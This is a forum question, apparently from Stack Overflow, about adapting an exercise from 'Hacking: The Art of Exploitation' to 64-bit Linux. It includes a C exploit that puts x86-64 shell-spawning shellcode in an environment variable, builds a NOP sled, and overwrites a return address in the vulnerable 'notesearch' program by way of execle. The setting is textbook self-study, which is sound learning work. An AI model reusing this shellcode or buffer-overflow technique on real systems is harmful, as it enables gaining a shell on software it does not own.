What is the base address of a c program environment from the execle command? : I am reading the book "Hacking: The art of exploitation" and I have some problems with the code of exploit_notesearch_env.c It is attempting to do a buffer overflow exploit by calling the
program to be exploited with the "execle" command. That way the only environment variable of
the program to be exploited will be the shellcode.
My problem is that I can't figure the address of the shellcode environment variable out.
The book says that the base address was 0xbffffffa and then subtracts the size of the shellcode 
and the length of the program name from it to obtain the shellcode address.
This is the code of exploit_notesearch_env.c which calls the notesearch program:
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"SHELLCODE=\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

int main(int argc, char *argv[]) {
   char *env[2] = {shellcode, (char *) 0};
   uint64_t i, ret;
   char *buffer = (char *) malloc(160);

   ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
   memset(buffer, '\x90', 120);
   *((uint64_t *)(buffer+120)) = ret;

   execle("./notesearch", "notesearch", buffer, (char *) 0, env);
   free(buffer);
}
```
By the way the book uses a 32 bit Linux distro while I am using Kali Linux 2019.4 64 bit version which might be the origin of the problem.

The shellcode is already adjusted for 64 bits and the program correctly overflows the buffer but only with the wrong address.
Does anyone know the right substitute for the address 0xbffffffa from the book?